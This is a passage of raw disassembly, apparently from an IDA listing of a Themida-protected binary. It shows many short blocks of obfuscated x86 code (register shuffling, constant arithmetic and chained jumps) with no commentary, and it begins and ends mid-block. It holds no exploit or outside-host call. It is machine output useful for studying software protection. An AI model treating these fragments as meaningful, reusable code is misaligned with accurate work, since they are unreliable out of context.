push cx
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], ecx
jmp loc_58D716
; ---------------------------------------------------------------------------
loc_59326F: ; CODE XREF: Themida_:0058BD68j
push eax
mov eax, 4
sub esi, 527B4A06h
add esi, eax
push edx
mov edx, 7C112023h
not edx
dec edx
not edx
sub edx, 2995D61Eh
add esi, edx
pop edx
mov eax, [esp]
add esp, 4
xchg esi, [esp]
mov esp, [esp]
xor [esp], eax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_5932A5: ; CODE XREF: Themida_:0058D888j
mov [esp], edi
jmp loc_58B85B
; ---------------------------------------------------------------------------
loc_5932AD: ; CODE XREF: Themida_:0058AB46j
sub eax, 4
push eax
push dword ptr [esp+4]
pop eax
jmp loc_58F22F
; ---------------------------------------------------------------------------
loc_5932BD: ; CODE XREF: Themida_:00590435j
push ebx
jmp loc_595473
; ---------------------------------------------------------------------------
loc_5932C3: ; CODE XREF: Themida_:00590817j
shr cl, 2
and cl, 67h
not cl
sub esp, 4
mov [esp], edx
mov dl, 7Ch
jmp loc_594AF9
; ---------------------------------------------------------------------------
loc_5932D8: ; CODE XREF: Themida_:00590E7Cj
pop ecx
loc_5932D9: ; CODE XREF: Themida_:00592C6Fj
push 32DDh
mov [esp], eax
push esp
pop eax
sub esp, 4
mov [esp], edi
mov edi, 57E070A3h
push 5797h
mov [esp], eax
mov eax, 563F4C47h
jmp loc_595A71
; ---------------------------------------------------------------------------
loc_593303: ; CODE XREF: Themida_:0058A1E3j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
not ebx
xchg ecx, ebx
inc ecx
jmp loc_590EDD
; ---------------------------------------------------------------------------
loc_593320: ; CODE XREF: Themida_:00594E2Bj
pop edi
add bx, ax
mov eax, [esp]
add esp, 4
movzx eax, ax
jmp loc_590624
; ---------------------------------------------------------------------------
loc_593335: ; CODE XREF: Themida_:0058E407j
add al, cl
pop ecx
add al, 10h
add al, dh
sub al, 10h
push 2818h
mov [esp], ecx
mov cl, 0E1h
jmp loc_5920E2
; ---------------------------------------------------------------------------
loc_59334D: ; CODE XREF: Themida_:0058F947j
xor edi, 6D9F06F5h
jmp loc_589D8F
; ---------------------------------------------------------------------------
loc_593358: ; CODE XREF: Themida_:00594AE2j
add esp, 4
pop dword ptr [esp]
jmp loc_591720
; ---------------------------------------------------------------------------
loc_593366: ; CODE XREF: Themida_:005922C5j
sub edi, 3FA309CEh
sub esp, 4
jmp loc_591CBD
; ---------------------------------------------------------------------------
loc_593374: ; CODE XREF: Themida_:0058FE9Bj
xor ebx, 872FEE50h
mov esi, ebx
pop ebx
and esi, 33DB09C1h
sub esi, 49523259h
xor esi, 67DF55B8h
jmp loc_595596
; ---------------------------------------------------------------------------
loc_593394: ; CODE XREF: Themida_:0058B6D7j
pop ecx
jmp loc_591BD4
; ---------------------------------------------------------------------------
loc_59339A: ; CODE XREF: Themida_:005945F8j
mov [esp], ecx
jmp loc_58DCB0
; ---------------------------------------------------------------------------
loc_5933A2: ; CODE XREF: Themida_:0058E40Fj
xor esi, edi
pop edi
sub ebp, 34254757h
add ebp, esi
add ebp, 34254757h
jmp loc_58D447
; ---------------------------------------------------------------------------
loc_5933B8: ; CODE XREF: Themida_:0058CB47j
and dl, 47h
dec dl
push ebx
mov bh, 2Ah
jmp loc_58B0B9
; ---------------------------------------------------------------------------
loc_5933C5: ; CODE XREF: Themida_:0059021Ej
sub esp, 4
jmp loc_5909A2
; ---------------------------------------------------------------------------
loc_5933CD: ; CODE XREF: Themida_:0058A472j
xor [esp], edi
xor edi, [esp]
jmp loc_58DAE8
; ---------------------------------------------------------------------------
loc_5933D8: ; CODE XREF: Themida_:0058B3BEj
mov edx, 5BC90A8Eh
sub esp, 4
mov [esp], eax
jmp loc_591F86
; ---------------------------------------------------------------------------
loc_5933EB: ; CODE XREF: Themida_:0058EE5Dj
mov [esp], ebx
push ebx
mov ebx, 333A08DDh
add [esp+4], ebx
pop ebx
pop eax
push ebp
mov ebp, 517E2FECh
neg ebp
shl ebp, 7
shl ebp, 6
jmp loc_5910A8
; ---------------------------------------------------------------------------
loc_59340D: ; CODE XREF: Themida_:0058CE59j
add ch, bh
pop ebx
jmp loc_5925CF
; ---------------------------------------------------------------------------
push edx
jmp loc_592A74
; ---------------------------------------------------------------------------
loc_59341B: ; CODE XREF: Themida_:00591135j
shr edx, 2
push edi
mov edi, 86B75ADh
add edi, 4AC12F2Ah
push ebx
mov ebx, 17241BA4h
xor ebx, 3E340D53h
sub edi, ebx
pop ebx
sub edi, 0EF482CCCh
xor edx, edi
jmp loc_58AF69
; ---------------------------------------------------------------------------
loc_593446: ; CODE XREF: Themida_:0058F918j
mov ebp, 0B40E51h
neg ebp
add ebp, 36F71B9Fh
jmp loc_5953A8
; ---------------------------------------------------------------------------
loc_593458: ; CODE XREF: Themida_:005940AAj
pop edx
push 72CBh
mov [esp], ecx
jmp loc_58D4BF
; ---------------------------------------------------------------------------
loc_593466: ; CODE XREF: Themida_:00594E39j
sub dh, ah
jmp loc_592579
; ---------------------------------------------------------------------------
loc_59346D: ; CODE XREF: Themida_:0058F6EDj
jmp loc_589462
; ---------------------------------------------------------------------------
loc_593472: ; CODE XREF: Themida_:0058AD7Bj
push ebp
mov ebp, ebx
mov eax, ebp
pop ebp
pop ebx
add esi, eax
pop eax
jmp loc_58C71E
; ---------------------------------------------------------------------------
loc_593481: ; CODE XREF: Themida_:0058F69Fj
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_593495: ; CODE XREF: Themida_:0058FB5Dj
mov eax, 4
add ecx, eax
pop eax
jmp loc_58BE70
; ---------------------------------------------------------------------------
loc_5934A2: ; CODE XREF: Themida_:0058C9AAj
add ecx, 0FFFFFFFFh
or ecx, 688548CDh
jmp loc_58F61D
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
push esp
pop ebp
push 3E29h
jmp loc_58F317
; ---------------------------------------------------------------------------
loc_5934C4: ; CODE XREF: Themida_:0058C64Fj
mov esi, esp
push ebp
mov ebp, 4
add esi, ebp
pop ebp
jmp loc_58D4E7
; ---------------------------------------------------------------------------
loc_5934D4: ; CODE XREF: Themida_:0058AD20j
pop ecx
pop edx
jmp loc_58F433
; ---------------------------------------------------------------------------
loc_5934DB: ; CODE XREF: Themida_:005901A4j
mov ebx, 304A2B89h
jmp loc_58D590
; ---------------------------------------------------------------------------
loc_5934E5: ; CODE XREF: Themida_:0058C174j
push ebx
mov ebx, 4
sub edx, 13C0370Eh
sub edx, 12950149h
jmp loc_58B89F
; ---------------------------------------------------------------------------
loc_5934FC: ; CODE XREF: Themida_:0058AF64j
push eax
jmp loc_59054B
; ---------------------------------------------------------------------------
loc_593502: ; CODE XREF: Themida_:0058AD65j
pop ecx
pop dword ptr [esp]
pop esp
btr [esp], ax
pushf
jmp loc_58ABD9
; ---------------------------------------------------------------------------
loc_593512: ; CODE XREF: Themida_:005923BDj
sub al, 0ABh
push ebx
push 1DB8h
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
add esp, 4
push 5DC0h
mov [esp], ecx
jmp loc_592FD5
; ---------------------------------------------------------------------------
loc_593537: ; CODE XREF: Themida_:0058B1E7j
xchg ecx, [esp]
jmp loc_58AC1F
; ---------------------------------------------------------------------------
loc_59353F: ; CODE XREF: Themida_:0059480Cj
pop esp
mov [esp], ax
jmp loc_58E27B
; ---------------------------------------------------------------------------
loc_593549: ; CODE XREF: Themida_:005928C6j
mov ebx, 0A247047h
mov edx, 723687E7h
sub edx, ebx
pop ebx
add edx, 14796200h
jmp loc_590ABE
; ---------------------------------------------------------------------------
loc_593561: ; CODE XREF: Themida_:0058BDC3j
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], cx
jmp loc_58CBD4
; ---------------------------------------------------------------------------
loc_593571: ; CODE XREF: Themida_:005950CCj
mov edx, [esp]
add esp, 4
sub [edi+20h], ebp
mov ebp, [esp]
add esp, 4
sub dword ptr [edi+20h], 3206A09Eh
push esi
push 0EEC3742h
pop esi
push edx
mov edx, 24h
sub edx, 79BD66EFh
add edx, edi
add edx, 79BD66EFh
jmp loc_5910EF
; ---------------------------------------------------------------------------
loc_5935A7: ; CODE XREF: Themida_:0058FF3Fj
mov [esp], edi
jmp loc_58C751
; ---------------------------------------------------------------------------
loc_5935AF: ; CODE XREF: Themida_:0058FE5Bj
push ebp
mov ebp, 3C931F7Bh
and esi, ebp
pop ebp
add esi, 0DBECE6E4h
add ecx, esi
jmp loc_58CD44
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
jmp loc_58E5EB
; ---------------------------------------------------------------------------
loc_5935CF: ; CODE XREF: Themida_:005941FDj
push 58375F92h
pop edi
inc edi
jmp loc_58F665
; ---------------------------------------------------------------------------
loc_5935DB: ; CODE XREF: Themida_:0058AE1Fj
inc edx
jmp loc_59173A
; ---------------------------------------------------------------------------
loc_5935E1: ; CODE XREF: Themida_:00589A7Bj
pop edi
xor edx, 0F7AAC9FAh
add eax, edx
mov edx, [esp]
jmp loc_590057
; ---------------------------------------------------------------------------
loc_5935F2: ; CODE XREF: Themida_:00593D5Bj
sub bl, 0BEh
jmp loc_591354
; ---------------------------------------------------------------------------
loc_5935FA: ; CODE XREF: Themida_:00590084j
sub eax, ebp
pop ebp
add eax, 0D5C69D7h
pop ebx
sub eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_590D9D
; ---------------------------------------------------------------------------
lodsw
sub ax, 54C2h
jmp loc_58F990
; ---------------------------------------------------------------------------
loc_59361C: ; CODE XREF: Themida_:00590DD6j
add ebp, 2
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
jmp loc_593E10
; ---------------------------------------------------------------------------
loc_593631: ; CODE XREF: Themida_:00590AA8j
xor bh, 0CDh
xor al, bh
pop ebx
push edx
mov dh, 48h
sub esp, 4
mov [esp], eax
mov ah, dh
jmp loc_58DDA6
; ---------------------------------------------------------------------------
loc_59364A: ; CODE XREF: Themida_:0058ABC3j
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push edx
mov edx, 30A43E76h
jmp loc_590860
; ---------------------------------------------------------------------------
loc_593669: ; CODE XREF: Themida_:005929BCj
mov [esp], edx
push ecx
mov ecx, 361972F7h
mov edx, 1E052B59h
xor edx, ecx
pop ecx
dec edx
dec edx
add edx, 2228EBD7h
add ebp, edx
pop edx
jmp loc_5921A7
; ---------------------------------------------------------------------------
loc_59368A: ; CODE XREF: Themida_:00592FC1j
mov cl, 0BAh
inc cl
not cl
shl cl, 1
not cl
xor cl, 3
add al, cl
pop ecx
add al, cl
sub al, 74h
push ebx
mov bl, 36h
dec bl
jmp loc_58F0D5
; ---------------------------------------------------------------------------
loc_5936A8: ; CODE XREF: Themida_:00590678j
pop edi
jmp loc_5909E6
; ---------------------------------------------------------------------------
loc_5936AE: ; CODE XREF: Themida_:0058A857j
mov eax, [esp]
add esp, 4
and ecx, esi
pop esi
shr ecx, 6
push 3610h
mov [esp], edx
push 7F90h
mov [esp], ebx
push dword ptr [esp]
pop edx
push esi
jmp loc_58CA79
; ---------------------------------------------------------------------------
loc_5936D7: ; CODE XREF: Themida_:0058FC74j
pop edx
add eax, 50BE6782h
sub eax, ebp
jmp loc_58BDE2
; ---------------------------------------------------------------------------
loc_5936E4: ; CODE XREF: Themida_:0058E5C5j
push edx
jmp loc_592324
; ---------------------------------------------------------------------------
loc_5936EA: ; CODE XREF: Themida_:005940BFj
shr bl, 4
jmp loc_591B7A
; ---------------------------------------------------------------------------
loc_5936F2: ; CODE XREF: Themida_:00589E2Aj
mov edx, 7B1B2036h
or edx, 3D6141F5h
shr edx, 1
sub edx, 0AC143BDh
sub eax, edx
pop edx
add eax, 26050C2Ch
push esi
jmp loc_5904FF
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
mov eax, esp
push edi
push 4
pop edi
add eax, 670E39B5h
jmp loc_591C79
; ---------------------------------------------------------------------------
loc_59372B: ; CODE XREF: Themida_:0058EFE3j
mov [esp], ecx
push edi
mov edi, 1Ch
jmp loc_59236F
; ---------------------------------------------------------------------------
loc_593739: ; CODE XREF: Themida_:0058EC73j
pop ecx
sub ecx, 1F0D194Ch
shr ecx, 1
sub ecx, 6857419h
jmp loc_58C520
; ---------------------------------------------------------------------------
loc_59374D: ; CODE XREF: Themida_:00594B2Fj
mov cl, 19h
push edx
mov dh, 30h
xor dh, 0F3h
sub al, 18h
jmp loc_593B2D
; ---------------------------------------------------------------------------
loc_59375C: ; CODE XREF: Themida_:0058A815j
xor esi, edx
jmp loc_592A14
; ---------------------------------------------------------------------------
loc_593763: ; CODE XREF: Themida_:0058E6CAj
mov eax, esi
jmp loc_590107
; ---------------------------------------------------------------------------
loc_59376A: ; CODE XREF: Themida_:0058CDAAj
mov esi, [esp]
add esp, 4
or edx, eax
jmp loc_59298F
; ---------------------------------------------------------------------------
loc_593777: ; CODE XREF: Themida_:0058A5B0j
xor ecx, 8C90E87Ah
xor edx, ecx
pop ecx
shr edx, 1
add edx, 52DA7D47h
xor eax, edx
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
push ecx
jmp loc_58F86A
; ---------------------------------------------------------------------------
loc_59379B: ; CODE XREF: Themida_:00593C56j
push ebx
push esi
mov esi, 0B8239C1h
jmp loc_58F9CD
; ---------------------------------------------------------------------------
loc_5937A7: ; CODE XREF: Themida_:0058EB8Bj
pop ecx
jmp loc_58F85D
; ---------------------------------------------------------------------------
loc_5937AD: ; CODE XREF: Themida_:0058A308j
mov edi, 1F020268h
dec edi
jmp loc_593EA8
; ---------------------------------------------------------------------------
loc_5937B8: ; CODE XREF: Themida_:0058BB97j
mov bh, 4Eh
mov dh, 61h
add dh, bh
jmp loc_58E3FC
; ---------------------------------------------------------------------------
loc_5937C3: ; CODE XREF: Themida_:0058A1A4j
mov [esp], eax
mov eax, 2
add ebp, 39AD7F22h
add ebp, eax
sub ebp, 39AD7F22h
pop eax
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
push ebx
mov ebx, esp
jmp loc_593C5B
; ---------------------------------------------------------------------------
loc_5937EA: ; CODE XREF: Themida_:0058B4C5j
and ebp, edx
pop edx
or ebp, 74D03CCDh
jmp loc_58E4DF
; ---------------------------------------------------------------------------
loc_5937F8: ; CODE XREF: Themida_:0059285Bj
push 7F06h
jmp loc_595707
; ---------------------------------------------------------------------------
loc_593802: ; CODE XREF: Themida_:0059554Cj
xor ebx, 687979B0h
add edx, ebx
push dword ptr [esp]
push dword ptr [esp]
pop ebx
add esp, 4
add esp, 4
push edi
jmp loc_58DA0C
; ---------------------------------------------------------------------------
loc_593823: ; CODE XREF: Themida_:00593AC9j
mov esp, [esp]
movzx ecx, al
sub esp, 4
mov [esp], eax
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop eax
push ecx
mov ecx, 4
sub eax, 5ED84323h
add eax, ecx
add eax, 5ED84323h
push dword ptr [esp]
jmp loc_58AB42
; ---------------------------------------------------------------------------
loc_59385E: ; CODE XREF: Themida_:0058CC0Dj
add esp, 4
push ebx
push ecx
mov cl, 0F0h
mov bh, 9Ah
add bh, cl
pop ecx
add dh, bh
mov ebx, [esp]
add esp, 4
and al, dh
jmp loc_5915E6
; ---------------------------------------------------------------------------
loc_59387C: ; CODE XREF: Themida_:00589B4Cj
xor ecx, [esp]
mov esp, [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push esi
mov esi, esp
jmp loc_58DE06
; ---------------------------------------------------------------------------
loc_593896: ; CODE XREF: Themida_:0058FAC6j
xor [esp], esi
xor esi, [esp]
jmp loc_59192E
; ---------------------------------------------------------------------------
loc_5938A1: ; CODE XREF: Themida_:005915E1j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ecx
push esp
pop ecx
add ecx, 4
push 6638h
mov [esp], edx
mov edx, 2E5C6FF8h
jmp loc_594286
; ---------------------------------------------------------------------------
loc_5938CC: ; CODE XREF: Themida_:0058BEC1j
add esp, 4
push eax
push 4
pop eax
jmp loc_59390C
; ---------------------------------------------------------------------------
loc_5938DE: ; CODE XREF: Themida_:0058D602j
add ebx, 5ED15898h
add ebx, esi
sub ebx, 5ED15898h
mov esi, [esp]
push eax
push esp
pop eax
jmp loc_58F7FA
; ---------------------------------------------------------------------------
loc_5938F7: ; CODE XREF: Themida_:0058F1A8j
mov [esp], eax
jmp loc_5957E7
; ---------------------------------------------------------------------------
loc_5938FF: ; CODE XREF: Themida_:00593215j
add eax, 76DF30A7h
pop esi
add ebx, eax
jmp loc_591D14
; ---------------------------------------------------------------------------
loc_59390C: ; CODE XREF: Themida_:005938D9j
push esi
mov esi, 7B4453E5h
add esi, 12DB34FCh
jmp loc_58A1B1
; ---------------------------------------------------------------------------
loc_59391D: ; CODE XREF: Themida_:00594B82j
or dword ptr [edi+20h], 4EF4033Ah
jmp loc_59140C
; ---------------------------------------------------------------------------
loc_593929: ; CODE XREF: Themida_:0058F4B2j
add ebx, edx
pop edx
sub ebx, 29090032h
add ebx, eax
add ebx, 29090032h
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_593E56
; ---------------------------------------------------------------------------
loc_59394E: ; CODE XREF: Themida_:005926F3j
pop ebx
jmp loc_590CE4
; ---------------------------------------------------------------------------
loc_593954: ; CODE XREF: Themida_:0058EEE9j
push edi
mov edi, 467241D0h
jmp loc_595A36
; ---------------------------------------------------------------------------
loc_59395F: ; CODE XREF: Themida_:00591786j
mov ebp, 1D501742h
jmp loc_592F9B
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr dword ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_593978: ; CODE XREF: Themida_:0058AF12j
push dword ptr [eax]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_59397F: ; CODE XREF: Themida_:00593FADj
push edx
mov edx, 51435F8Ch
and edx, 669869B6h
add edx, 0D041DAE7h
sub eax, 58A77498h
add eax, edx
add eax, 58A77498h
mov edx, [esp]
jmp loc_5902FB
; ---------------------------------------------------------------------------
loc_5939A5: ; CODE XREF: Themida_:0058C683j
add ecx, ebp
jmp loc_58D68B
; ---------------------------------------------------------------------------
loc_5939AC: ; CODE XREF: Themida_:0058E2B4j
mov ax, [esp]
push 72C7h
mov [esp], eax
push esp
pop eax
push ecx
jmp loc_58EDAD
; ---------------------------------------------------------------------------
loc_5939C0: ; CODE XREF: Themida_:00594BCBj
sub ebx, edi
pop edi
add ebx, 350144B9h
and ebx, 53E34032h
xor ebx, 30C5645Fh
shr ebx, 2
sub ebx, 0F86AF2A7h
add eax, ebx
pop ebx
push dword ptr [esp]
pop edi
push edx
mov edx, esp
add edx, 4
jmp loc_58D860
; ---------------------------------------------------------------------------
loc_5939F3: ; CODE XREF: Themida_:0059305Dj
or edi, 52B0239Eh
shr edi, 7
xor edi, 0F4B78CBh
push edi
sub dword ptr [esp], 338925FBh
pop dword ptr [edx+38h]
push esi
jmp loc_590E6F
; ---------------------------------------------------------------------------
loc_593A13: ; CODE XREF: Themida_:00589498j
add edx, 1D780880h
add edx, ecx
sub edx, 1D780880h
mov ecx, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_595625
; ---------------------------------------------------------------------------
loc_593A32: ; CODE XREF: Themida_:0058F24Bj
mov [esp], ebp
push edx
jmp loc_58BCD1
; ---------------------------------------------------------------------------
loc_593A3B: ; CODE XREF: Themida_:0058F06Ej
pop edx
sub edx, 0B6C4C425h
add eax, edx
jmp loc_58A477
; ---------------------------------------------------------------------------
loc_593A49: ; CODE XREF: Themida_:0058EC07j
neg ebp
shl ebp, 7
xor ebp, 56A1E62h
inc ebp
add ebp, 21782366h
sub ecx, ebp
pop ebp
jmp loc_58C02D
; ---------------------------------------------------------------------------
loc_593A63: ; CODE XREF: Themida_:005908E3j
xchg ecx, [esp]
pop esp
mov [esp], edi
pop edx
pop edi
xor eax, edx
xor edx, eax
xor eax, edx
push eax
mov eax, esp
jmp loc_58B5FC
; ---------------------------------------------------------------------------
loc_593A7A: ; CODE XREF: Themida_:00592547j
add ebx, 4
jmp loc_58D2D1
; ---------------------------------------------------------------------------
loc_593A85: ; CODE XREF: Themida_:0058EC47j
pop eax
sub esp, 4
mov [esp], esi
mov esi, 602E707Fh
add edx, esi
pop esi
xor edx, 0ECB71D6Eh
add esi, 15886D61h
sub esi, edx
push ebx
mov ebx, 0E0D2D9Bh
add ebx, 526215CDh
or ebx, 231B4B05h
shl ebx, 5
add ebx, 0A59EFFC1h
sub esi, ebx
pop ebx
jmp loc_58B025
; ---------------------------------------------------------------------------
loc_593AC5: ; CODE XREF: Themida_:0059454Ej
pop edx
pop dword ptr [esp]
jmp loc_593823
; ---------------------------------------------------------------------------
loc_593ACE: ; CODE XREF: Themida_:00594F3Aj
shl ebx, 4
shr ebx, 8
jmp loc_58B39B
; ---------------------------------------------------------------------------
loc_593AD9: ; CODE XREF: Themida_:00592294j
push small 24B2h
mov [esp], bx
mov bh, 0F2h
or bh, 0B0h
push eax
mov ah, 0A4h
jmp loc_594E51
; ---------------------------------------------------------------------------
loc_593AEE: ; CODE XREF: Themida_:00592BEBj
sub ecx, 45EF4CB5h
add ecx, edx
add ecx, 45EF4CB5h
pop edx
xchg ecx, [esp]
mov esp, [esp]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_593B08: ; CODE XREF: Themida_:00592597j
mov ecx, esp
push edi
mov edi, 144306A2h
and edi, 5FA1EF4h
push eax
mov eax, 44206A4h
xor edi, eax
pop eax
add ecx, edi
pop edi
sub esp, 4
jmp loc_591F53
; ---------------------------------------------------------------------------
loc_593B2D: ; CODE XREF: Themida_:00593757j
sub al, dh
add al, 18h
pop edx
sub al, cl
push edx
push ecx
jmp loc_58CC94
; ---------------------------------------------------------------------------
loc_593B3B: ; CODE XREF: Themida_:0059532Bj
mov edx, 8233406Ch
sub edx, ebp
jmp loc_589EA5
; ---------------------------------------------------------------------------
lodsb
jmp loc_58D648
; ---------------------------------------------------------------------------
loc_593B4D: ; CODE XREF: Themida_:005911FFj
push 4BF0h
mov [esp], ebx
jmp loc_591F2E
; ---------------------------------------------------------------------------
loc_593B5A: ; CODE XREF: Themida_:0058FA89j
and ecx, ebx
jmp loc_58CC1D
; ---------------------------------------------------------------------------
loc_593B61: ; CODE XREF: Themida_:0058FA46j
mov [esp], edx
mov edx, 4
sub ebp, 489B2C4Ah
sub ebp, 10280371h
add ebp, edx
add ebp, 10280371h
add ebp, 489B2C4Ah
mov edx, [esp]
push edx
jmp loc_58FB1A
; ---------------------------------------------------------------------------
loc_593B8C: ; CODE XREF: Themida_:00590B58j
pop edx
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
add esp, 4
or [esp], eax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_593BA5: ; CODE XREF: Themida_:0058D50Cj
add esp, 4
sub esp, 4
mov [esp], ebp
mov ebp, eax
mov edx, ebp
jmp loc_594DF0
; ---------------------------------------------------------------------------
loc_593BBD: ; CODE XREF: Themida_:00589AD1j
sub bl, al
jmp loc_58A798
; ---------------------------------------------------------------------------
loc_593BC4: ; CODE XREF: Themida_:005923A0j
mov [esp], edi
push 4086h
mov [esp], esi
jmp loc_589D52
; ---------------------------------------------------------------------------
loc_593BD4: ; CODE XREF: Themida_:00589D0Ej
sub ecx, 29F9136Ch
inc ecx
xor ecx, 0D605C0D0h
add edx, ecx
jmp loc_58B645
; ---------------------------------------------------------------------------
loc_593BE8: ; CODE XREF: Themida_:0058B46Dj
push edx
mov edx, 31EA6C27h
sub eax, edx
pop edx
sub eax, 1CBF2289h
jmp loc_5902C4
; ---------------------------------------------------------------------------
loc_593BFB: ; CODE XREF: Themida_:00595197j
add edx, 70C04F12h
sub edx, 6D990344h
push ebp
mov ebp, 3F237003h
jmp loc_58C195
; ---------------------------------------------------------------------------
loc_593C12: ; CODE XREF: Themida_:0058E69Bj
xchg esi, [esp]
pop esp
add bl, 0FBh
jmp loc_58FC25
; ---------------------------------------------------------------------------
loc_593C1E: ; CODE XREF: Themida_:00592DB7j
push ecx
mov ecx, 6742FC3Ch
add ebp, ecx
pop ecx
add esi, 4F921F5Fh
add esi, ebp
push ecx
mov ecx, 59991072h
add ecx, 735F1095h
and ecx, 4B4C3019h
xor ecx, 52677D4Eh
inc ecx
dec ecx
push esi
mov esi, 3562C210h
add ecx, esi
pop esi
sub esi, ecx
pop ecx
pop ebp
jmp loc_59379B
; ---------------------------------------------------------------------------
loc_593C5B: ; CODE XREF: Themida_:005937E5j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_58CDF9
; ---------------------------------------------------------------------------
loc_593C6F: ; CODE XREF: Themida_:00594521j
add esp, 4
push eax
mov eax, 68BB54BDh
xor eax, 72354907h
xor eax, 7945046h
neg eax
jmp loc_58EA98
; ---------------------------------------------------------------------------
loc_593C89: ; CODE XREF: Themida_:0058C560j
push esi
jmp loc_58F5C8
; ---------------------------------------------------------------------------
loc_593C8F: ; CODE XREF: Themida_:0058A067j
mov edx, esp
sub esp, 4
mov [esp], ebx
mov ebx, 0B9774AFh
add ebx, 636B6696h
jmp loc_59537C
; ---------------------------------------------------------------------------
loc_593CA7: ; CODE XREF: Themida_:0058FE84j
mov edx, 562A6C71h
add eax, edx
pop edx
add eax, 95CE71A6h
jmp loc_591C9A
; ---------------------------------------------------------------------------
loc_593CB9: ; CODE XREF: Themida_:005924B0j
mov eax, edx
pop edx
add ebx, eax
pop eax
push esi
mov esi, 2
add ebx, 3D326D0h
jmp loc_592949
; ---------------------------------------------------------------------------
loc_593CD0: ; CODE XREF: Themida_:0058BC42j
sub ch, 4Bh
and ah, ch
pop ecx
push ecx
jmp loc_592FCC
; ---------------------------------------------------------------------------
loc_593CDC: ; CODE XREF: Themida_:0058AEADj
mov [esp], ebx
jmp loc_589E44
; ---------------------------------------------------------------------------
loc_593CE4: ; CODE XREF: Themida_:0058F46Ej
mov esi, 5FD00C90h
add esi, 0FFFFFFFFh
not esi
jmp loc_5919EB
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], edi
push 6E0B2A7Bh
mov edi, [esp]
add esp, 4
dec edi
or edi, 1B6C0183h
push ecx
jmp loc_58F26B
; ---------------------------------------------------------------------------
loc_593D1D: ; CODE XREF: Themida_:0058DFC7j
push ecx
mov cl, 67h
jmp loc_58ABC8
; ---------------------------------------------------------------------------
loc_593D25: ; CODE XREF: Themida_:0058A7B5j
mov [esp], ebp
push ecx
push eax
mov eax, 67190FC8h
jmp loc_58A134
; ---------------------------------------------------------------------------
loc_593D34: ; CODE XREF: Themida_:005955B7j
sub edx, 4
xchg edx, [esp]
jmp loc_591952
; ---------------------------------------------------------------------------
loc_593D42: ; CODE XREF: Themida_:0058CFE9j
push ecx
mov ecx, 4
mov eax, ecx
pop ecx
add esi, eax
jmp loc_58EBE3
; ---------------------------------------------------------------------------
loc_593D52: ; CODE XREF: Themida_:00590E06j
mov ch, 23h
sub al, ch
pop cx
mov bl, al
pop eax
jmp loc_5935F2
; ---------------------------------------------------------------------------
loc_593D60: ; CODE XREF: Themida_:0058B8BDj
mov esp, [esp]
mov [esp], edx
mov edx, 0E415B41h
xor [esp+4], edx
pop edx
push dword ptr [esp]
pop ecx
add esp, 4
xor ecx, 0E415B41h
push ebx
push eax
jmp loc_594398
; ---------------------------------------------------------------------------
loc_593D84: ; CODE XREF: Themida_:00589D8Aj
inc edi
push ebp
mov ebp, 45606B8Dh
xor edi, ebp
jmp loc_5895E9
; ---------------------------------------------------------------------------
loc_593D92: ; CODE XREF: Themida_:005895EAj
push esi
jmp loc_58E184
; ---------------------------------------------------------------------------
loc_593D98: ; CODE XREF: Themida_:0058976Aj
push esi
mov esi, 96B5D35h
xor esi, 504831C7h
mov ebp, esi
jmp loc_58E1C1
; ---------------------------------------------------------------------------
loc_593DAB: ; CODE XREF: Themida_:0058B189j
push ebp
mov ebp, 5C824268h
push ebp
not dword ptr [esp]
mov ebp, [esp]
jmp loc_58B49A
; ---------------------------------------------------------------------------
loc_593DBD: ; CODE XREF: Themida_:005944C4j
sub bl, 0A1h
add bl, al
add bl, 0A1h
jmp loc_594269
; ---------------------------------------------------------------------------
loc_593DCA: ; CODE XREF: Themida_:0058D664j
mov [esp], ebp
push 6A6F5729h
jmp loc_5929A6
; ---------------------------------------------------------------------------
loc_593DD7: ; CODE XREF: Themida_:005959B6j
pop esi
add esp, 4
sub dword ptr [esp], 79D54028h
jmp loc_58D4D2
; ---------------------------------------------------------------------------
loc_593DE7: ; CODE XREF: Themida_:0059301Ej
mov [esp], ebx
mov ebx, esp
add ebx, 4
push edi
jmp loc_593FFD
; ---------------------------------------------------------------------------
loc_593DF8: ; CODE XREF: Themida_:0058C63Bj
xor eax, 7E5D634Eh
add ebp, 35E8615Fh
add ebp, eax
sub ebp, 35E8615Fh
jmp loc_58FD08
; ---------------------------------------------------------------------------
loc_593E10: ; CODE XREF: Themida_:0059362Cj
shr byte ptr [esp], cl
pushf
jmp loc_58D4BA
; ---------------------------------------------------------------------------
loc_593E19: ; CODE XREF: Themida_:00589DADj
not dl
shr dl, 7
xor dl, 0ECh
jmp loc_589C36
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
jmp loc_5954FF
; ---------------------------------------------------------------------------
loc_593E2F: ; CODE XREF: Themida_:0058A4E6j
push esi
push 19330398h
pop esi
xor esi, 694436F8h
